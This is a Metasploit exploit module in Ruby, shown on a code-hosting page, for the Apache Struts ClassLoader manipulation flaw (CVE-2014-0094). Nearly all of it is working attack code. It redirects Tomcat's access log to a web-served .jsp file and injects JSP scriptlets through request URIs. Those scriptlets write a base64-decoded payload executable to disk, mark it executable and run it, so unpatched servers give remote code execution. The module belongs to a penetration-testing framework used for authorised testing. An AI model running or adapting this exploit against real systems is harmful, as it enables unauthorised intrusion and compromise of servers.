Files
metasploit-gs/modules/exploits/multi/http/struts_code_exec_classloader.rb
T
julianvilas b2c2245aff Add comments
2014-04-29 11:24:17 +02:00

150 lines
4.8 KiB
Ruby

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts ClassLoader Manipulation Remote Code Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in Apache Struts
versions < 2.3.16.2. This issue is caused because the ParametersInterceptor allows
access to 'class' parameter which is directly mapped to getClass() method and
allows ClassLoader manipulation, which allows remote attackers to execute arbitrary
Java code via crafted parameters.
},
'Author' =>
[
'Mark Thomas and Przemyslaw Celej', # Vulnerability Discovery
'Alvaro Munoz', # PoC
'Redsadic <julian.vilas[at]gmail.com>' # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2014-0094'],
[ 'URL', 'http://www.pwntester.com/blog/2014/04/24/struts2-0day-in-the-wild/'],
[ 'URL', 'http://struts.apache.org/release/2.3.x/docs/s2-020.html']
],
'Platform' => %w{ java linux win },
'Privileged' => true,
'Targets' =>
[
['Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'windows'
}
],
['Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
[ 'Java Universal',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
},
]
],
'DisclosureDate' => 'Mar 06 2014',
'DefaultTarget' => 2))
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/hello_world/hello.action"])
], self.class)
end
def exec_cmd(uri, cmd = "")
resp = send_request_cgi({
'uri' => uri+cmd,
'version' => '1.1',
'method' => 'GET',
})
return resp
end
def peer
"#{rhost}:#{rport}"
end
def exploit
prefix_jsp = rand_text_alphanumeric(3+rand(3))
date_format = rand_text_numeric(1+rand(4))
vprint_status("#{peer} - Modifying class loader")
# Modifies classLoader parameters
exec_cmd("#{datastore['TARGETURI']}?class['classLoader'].resources.context.parent.pipeline.first.directory=webapps/ROOT") # Directory where log file os going to be created
exec_cmd("#{datastore['TARGETURI']}?class['classLoader'].resources.context.parent.pipeline.first.prefix=#{prefix_jsp}") # Filename
exec_cmd("#{datastore['TARGETURI']}?class['classLoader'].resources.context.parent.pipeline.first.suffix=.jsp") # File extension
exec_cmd("#{datastore['TARGETURI']}?class['classLoader'].resources.context.parent.pipeline.first.fileDateFormat=#{date_format}") # second part of filename: "prefix+fileDateFormat.suffix"
jsp_file = prefix_jsp
jsp_file << date_format
jsp_file << ".jsp"
vprint_status("#{peer} - created file at http://#{peer}/#{jsp_file}")
sleep(3)
# Inexistent URI that logs on previously created log file (with ".jsp" suffix)
uri = String.new(datastore['TARGETURI'])
uri << rand_text_alphanumeric(4+rand(4))
uri << "?"
uri << rand_text_alphanumeric(1+rand(1))
uri << "="
payload_exe = generate_payload_exe
payload_file = rand_text_alphanumeric(4+rand(4))
register_files_for_cleanup("#{payload_file}", "#{jsp_file}")
# Commands to be logged
exec_cmd(uri, "<%@ page import=\"java.io.FileOutputStream\" %>")
exec_cmd(uri, "<%@ page import=\"sun.misc.BASE64Decoder\" %>")
exec_cmd(uri, "<%@ page import=\"java.io.File\" %>")
exec_cmd(uri, "<% FileOutputStream oFile = new FileOutputStream(\"#{payload_file}\", false); %>")
exec_cmd(uri, "<% oFile.write(new sun.misc.BASE64Decoder().decodeBuffer(\"#{Rex::Text.encode_base64(payload_exe)}\")); %>")
exec_cmd(uri, "<% oFile.flush(); %>")
exec_cmd(uri, "<% oFile.close(); %>")
exec_cmd(uri, "<% File f = new File(\"#{payload_file}\"); %>")
exec_cmd(uri, "<% f.setExecutable(true); %>")
exec_cmd(uri, "<% Runtime.getRuntime().exec(\"./#{payload_file}\"); %>")
vprint_status("#{peer} - Waiting 10 seconds...")
sleep(10)
vprint_status("#{peer} - Accessing http://#{peer}/#{jsp_file}")
# Access the log (with ".jsp" extension) in order to execute the JSP notation logged sentences
uri = "/"
uri << jsp_file
exec_cmd(uri)
end
end